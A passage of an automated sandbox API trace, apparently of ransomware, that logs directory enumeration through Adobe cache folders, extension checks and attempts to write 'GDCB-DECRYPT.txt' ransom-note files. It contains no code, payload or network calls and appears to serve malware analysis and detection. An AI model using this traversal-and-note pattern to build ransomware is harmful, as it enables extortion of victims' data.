(lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 197 [0170.256] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0170.256] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0x5dcf10 [0170.256] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0170.256] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\" [0170.256] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.256] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.257] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.257] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.257] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.257] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.257] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 203 [0170.257] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0170.257] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0x5dd390 [0170.257] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.257] FindNextFileW (in: hFindFile=0x5dd390, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.257] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.257] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.257] FindNextFileW (in: hFindFile=0x5dd390, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.257] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.257] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.257] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0170.257] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned 208 [0170.257] FindNextFileW (in: hFindFile=0x5dd390, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.257] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.257] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.257] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0170.257] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 219 [0170.257] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.257] FindNextFileW (in: hFindFile=0x5dd390, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.257] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0170.257] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0170.257] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0170.257] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 216 [0170.257] FindNextFileW (in: hFindFile=0x5dd390, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0 [0170.257] FindClose (in: hFindFile=0x5dd390 | out: hFindFile=0x5dd390) returned 1 [0170.257] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.258] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt") returned 220 [0170.258] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.259] GetLastError () returned 0x50 [0170.259] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.259] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 203 [0170.259] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0170.259] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 0x5dd510 [0170.260] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0170.260] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\" [0170.260] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.260] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.260] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.260] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.260] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.260] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.260] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 209 [0170.260] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0170.260] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 0x5dd210 [0170.260] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.260] FindNextFileW (in: hFindFile=0x5dd210, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.260] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.260] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.260] FindNextFileW (in: hFindFile=0x5dd210, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.260] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0170.260] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0170.260] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0170.260] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 215 [0170.260] FindNextFileW (in: hFindFile=0x5dd210, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.260] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0170.261] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0170.261] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0170.261] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 215 [0170.261] FindNextFileW (in: hFindFile=0x5dd210, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.261] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0170.261] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0170.261] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0170.261] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 215 [0170.261] FindNextFileW (in: hFindFile=0x5dd210, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.261] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0170.261] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0170.261] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0170.261] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 215 [0170.261] FindNextFileW (in: hFindFile=0x5dd210, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.261] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.261] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.262] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0170.262] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 225 [0170.262] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.262] FindNextFileW (in: hFindFile=0x5dd210, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.262] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0170.262] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0170.262] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0170.262] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 214 [0170.262] FindNextFileW (in: hFindFile=0x5dd210, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 0 [0170.262] FindClose (in: hFindFile=0x5dd210 | out: hFindFile=0x5dd210) returned 1 [0170.262] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.262] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt") returned 226 [0170.262] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.264] GetLastError () returned 0x50 [0170.264] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.264] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 209 [0170.264] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0170.264] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285d1b8 | out: lpFindFileData=0x285d1b8) returned 0x5dd110 [0170.264] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0170.264] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.265] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 215 [0170.265] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 215 [0170.265] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.265] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 